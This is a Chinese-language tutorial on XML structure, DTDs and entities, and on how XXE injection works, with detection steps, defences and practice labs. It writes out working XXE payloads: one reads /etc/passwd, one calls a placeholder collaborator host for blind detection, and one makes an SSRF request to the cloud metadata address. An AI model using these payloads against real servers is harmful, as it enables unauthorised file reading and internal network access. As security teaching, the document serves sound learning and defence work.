XML 基础知识 && XXE 漏洞原理解析及实验(基础篇)
字数 1345 2025-08-11 21:26:06
XML基础知识与XXE漏洞原理解析
XML基础概念
XML定义与作用
- XML(可扩展标记语言)全称:eXtensible Markup Language
- 主要用途:传输和存储数据,焦点在于数据内容
- 与HTML的关系:
- HTML用于显示数据,关注数据外观
- XML用于存储和传输数据,关注数据内容
- 两者配合:HTML提供模板,XML动态改变模板中的数据
XML优势
- 数据与显示分离:修改数据无需编辑HTML结构
- 通用数据格式标准:支持XML的应用可相互交换数据
- 自定义标签:没有预定义标签,可自由定义
XML DTD(文档类型定义)
DTD作用
- 约束XML文档格式
- 优势:
- 规范XML结构
- 确保通信双方使用相同格式交换数据
- 验证接收或自身的数据
DTD声明方式
内部DOCTYPE声明
<!DOCTYPE root-element [element-declarations]>
示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>XXE</to>
<from>LEARING</from>
<heading>hello</heading>
<body>My_friend</body>
</note>
外部文档声明(XXE关键)
<!DOCTYPE root-element SYSTEM "filename">
示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>XXE</to>
<from>LEARING</from>
<heading>hello</heading>
<body>My_friend</body>
</note>
XML实体
实体定义
- 用于定义XML文档中特殊字符的快捷方式(类似变量或宏)
- 格式:
&entity-name;
实体类型
内部实体
<!ENTITY entity-name "entity-value">
示例:
<!DOCTYPE note [
<!ELEMENT note (#PCDATA)>
<!ENTITY to "XXE">
<!ENTITY from "LEARING">
<!ENTITY heading "hello">
<!ENTITY body "my_friend">
]>
<note>
&to; &from; &heading; &body;
</note>
外部实体(XXE关键)
<!ENTITY name SYSTEM "URI/URL">
示例:
<!ENTITY writer SYSTEM "http://www.example.com/note.dtd">
XXE漏洞(XML外部实体注入)
XXE漏洞原理
- 利用XML解析器处理外部实体的功能
- 通过构造恶意XML文档,读取服务器敏感文件或发起SSRF攻击
XXE攻击条件
- 存在使用XML传输数据的情况,且数据可控
- 服务器未禁用外部实体解析
- 攻击结果可回显或通过其他方式验证
XXE攻击类型
有回显的XXE
攻击流程:
- 识别XML数据交互点
- 构造恶意XML,包含外部实体声明
- 在可回显位置引用外部实体
示例:
<!DOCTYPE foo [
<!ENTITY deu SYSTEM 'file:////etc/passwd'>
]>
<email>&deu;</email>
无回显的XXE
验证方法:
- 使用DNSlog技术
- 构造恶意XML使服务器发起DNS或HTTP请求
示例(使用Burp Collaborator):
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN">
%xxe;
]>
XXE执行SSRF攻击
示例:
<!DOCTYPE foo [
<!ENTITY deu SYSTEM "http://169.254.169.254">
]>
<storeID>&deu;</storeID>
XXE与XSS对比
| 特性 | XXE | XSS |
|---|---|---|
| 攻击目标 | 服务器端 | 浏览器端 |
| 触发方式 | 通过XML解析 | 通过浏览器渲染 |
| 数据流向 | 读取服务器资源 | 窃取客户端数据 |
XXE漏洞挖掘
- 寻找XML数据交互点(如API接口、表单提交等)
- 测试XML解析是否允许外部实体
- 尝试读取敏感文件或发起外部请求
XXE防御措施
-
禁用外部实体(推荐)
- PHP示例:
libxml_disable_entity_loader(true);
- PHP示例:
-
使用安全配置
- 禁用DTD处理
- 限制实体解析
-
输入过滤
- 过滤
<!DOCTYPE和<!ENTITY等关键字 - 注意:黑名单方式不完全可靠
- 过滤
-
使用JSON替代XML
- 在不需要XML的场景下使用更安全的数据格式
实验与靶场
推荐练习靶场:
-
PortSwigger XXE Labs
-
Vulnhub靶机
- 寻找包含XML交互功能的靶机进行实战练习
总结
XXE漏洞利用XML解析器对外部实体的支持,通过构造恶意XML文档实现敏感信息读取或SSRF攻击。防御关键在于禁用不必要的外部实体解析功能,并对输入进行严格过滤。理解XML基础结构和DTD机制是掌握XXE漏洞的前提。